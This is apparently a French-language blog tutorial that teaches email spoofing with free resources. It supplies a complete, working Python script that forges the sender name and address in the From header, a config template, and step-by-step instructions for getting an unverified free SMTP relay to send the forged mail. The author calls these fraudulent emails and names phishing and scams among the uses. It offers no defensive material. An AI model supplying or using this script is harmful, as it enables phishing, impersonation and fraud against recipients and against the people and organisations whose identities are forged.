Cela fait longtemps et beaucoup de gens ont demandé un guide pour envoyer des e-mails frauduleux, alors j'ai pensé écrire dessus aujourd'hui. Comme vous l'avez lu dans le titre, l'usurpation d'e-mails gratuite ! ? Oui :) les ressources que j'utilise dans ce processus sont totalement gratuites et rien ne sera facturé. Il existe même d'autres méthodes d'usurpation d'e-mails plus avancées que cela, mais cela inclut les ressources payantes que je ne peux pas me permettre car je ne vois aucun conseil entrant de votre part. Commençons donc par le sujet d'aujourd'hui ; Avez-vous déjà reçu un e-mail dans votre boîte qui semblait provenir d'un expéditeur différent de celui en réalité ? C'est ce qu'on appelle l'usurpation d'adresse électronique, et cela peut être fait pour diverses raisons. Dans ce guide, nous allons explorer les bases de l'usurpation d'e-mails et vous montrer comment le faire à l'aide de ressources gratuites.

Qu'est-ce que l'usurpation d'e-mail ?

L'usurpation d'e-mails comprend l'envoi d'e-mails avec des adresses qui semblent provenir de quelqu'un d'autre auquel nous n'avons pas réellement accès. Cela se fait principalement en modifiant les informations d'en-tête de l'expéditeur de l'e-mail pour donner l'impression qu'il provient d'un expéditeur légitime différent. L'usurpation d'adresses e-mail peut être utilisée pour diverses raisons, telles que les attaques de phishing, le spam et l'ingénierie sociale.

Pourquoi l'usurpation d'e-mails est-elle effectuée ?

L'usurpation de courrier électronique peut être effectuée à des fins malveillantes et non malveillantes. Exemple : une entreprise peut utiliser l'usurpation d'e-mails pour envoyer des e-mails à partir d'une adresse e-mail générique (" [email protected] ") au lieu de l'adresse e-mail personnelle d'un employé. D'autre part, les spammeurs et les escrocs peuvent utiliser l'usurpation d'e-mails pour inciter les destinataires à cliquer sur des liens ou à ouvrir des pièces jointes contenant des logiciels malveillants.

Conditions requises pour l'usurpation d'e-mails

Vous trouverez ci-dessous les exigences pour l'usurpation d'e-mails (toutes les ressources sont gratuites, vous n'avez donc pas besoin d'investir quoi que ce soit pour celles-ci)

1. Faux script d'envoi d'e-mails
2. SMTP gratuit (j'utilise sendinblue.com dans ce tuto. qui peut envoyer 300 e-mails gratuitement. Aucune carte de crédit et aucun document requis pour la vérification du compte)

SMTP est l'abréviation de Simple Mail Transfer Protocol. C'est le protocole standard utilisé pour envoyer et recevoir des e-mails sur Internet.

1) Script d'envoi d'e-mails frauduleux

En utilisant le script ci-dessous, vous pouvez envoyer le message texte de base à l'adresse e-mail cible en utilisant l'e-mail usurpé avec le nom d'usurpation. Assurez-vous d'effectuer les modifications suivantes dans le fichier script.py et le fichier config.ini.

source script.py :

### script.py ###
# SHHH! XIT WAS HERE
import smtplib 
from email.mime.text import MIMEText 
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders 
import traceback
import configparser

config = configparser.ConfigParser()
config.read('config.ini')

def send_mail(receiver_email, spoofed_email, spoofed_name, message, subject):
    try:
        msg = MIMEMultipart("related")
        msg['From'] = f"{spoofed_name} <{spoofed_email}>"
        msg['To'] = receiver_email
        msg['Subject'] = subject
        body = message
        msg.attach(MIMEText(body, 'plain'))
        # Get SMTP settings from config file
        smtp_host = config.get('SMTP', 'host')
        smtp_port = config.getint('SMTP', 'port')
        smtp_username = config.get('SMTP', 'username')
        smtp_password = config.get('SMTP', 'password')
        # Connect to SMTP server and send email
        server = smtplib.SMTP(smtp_host, smtp_port)
        server.starttls()
        server.login(smtp_username, smtp_password)
        text = msg.as_string()
        server.sendmail(spoofed_email, receiver_email, text)
        server.quit()
        print('Spoofed Email sent successfully to '+ str(receiver_email) + ' from ' + str(spoofed_name))
    except Exception as e:
        # Print the exception
        print(traceback.format_exc())

receiver_email = '<Receivers Email Address>'
spoofed_email = '<Spoofed Email Address>'
spoofed_name = '<Spoofed Name>' 
message = '<Text Message to send>'
subject = '<Email Subject/Title>'

# Invoke send_mail to send email
send_mail(receiver_email,spoofed_email,spoofed_name, message, subject)

1. receiver_email : L'adresse e-mail du destinataire.
2. spoofed_email : L'adresse e-mail que vous souhaitez usurper (c'est-à-dire l'adresse e-mail qui apparaîtra dans l'en-tête De de l'e-mail).
3. spoofed_name : Le nom que vous souhaitez associer à l'adresse e-mail usurpée.
4. message : Le texte du message électronique.
5. objet : la ligne d'objet du message électronique.

[SMTP]
host = <SMTP server hostname>
port = <SMTP server port>
username = <SMTP server username>
password = <SMTP server password>

Il existe plusieurs fournisseurs SMTP qui proposent des plans gratuits, la plupart d'entre eux ne demandent même pas de vérification lors de l'inscription, vous pouvez donc les utiliser. Ici, j'utiliserai sendinblue.com pour obtenir SMTP gratuitement et même ils n'ont pas demandé de carte de crédit lors de l'inscription. Vous trouverez ci-dessous le guide étape par étape pour l'obtenir :

Ignorez les entrées et mettez-y vos vraies informations ..

Etape-1 : Créez votre compte

Visitehttps://onboarding.sendinblue.com/account/registeret inscrivez-vous en utilisant votre e-mail.

Étape 2 : Vérifiez votre adresse e-mail

Vérifiez votre boîte de réception pour un e-mail de Sendinblue et cliquez sur le lien de vérification.

Étape 3 : Configurez votre compte

Remplissez les informations de base pour configurer votre compte.

Étape 4 : Obtenez vos informations SMTP

Cliquez sur l'onglet "SMTP & API" dans le tableau de bord de votre projet pour accéder à vos informations SMTP.

Étape 5 : Configurez votre script d'e-mail

Utilisez les informations SMTP fournies par Sendinblue pour configurer votre fichier d'envoi d'email script.py & config.ini.

Une fois que vous avez terminé toutes ces étapes, vous pouvez utiliser le script pour envoyer des e-mails frauduleux. Si vous rencontrez des erreurs ou des problèmes, veuillez laisser un commentaire ci-dessous. Aussi, si vous aimez le contenu et que vous en voulez plus, laissez un pourboire . et assurez-vous de suivre afin d'être averti une fois que nous aurons téléchargé des trucs sympas comme ceux-là.

C'est tout pour aujourd'hui, retrouvons-nous dans le sujet suivant. Restez en sécurité, restez en sécurité.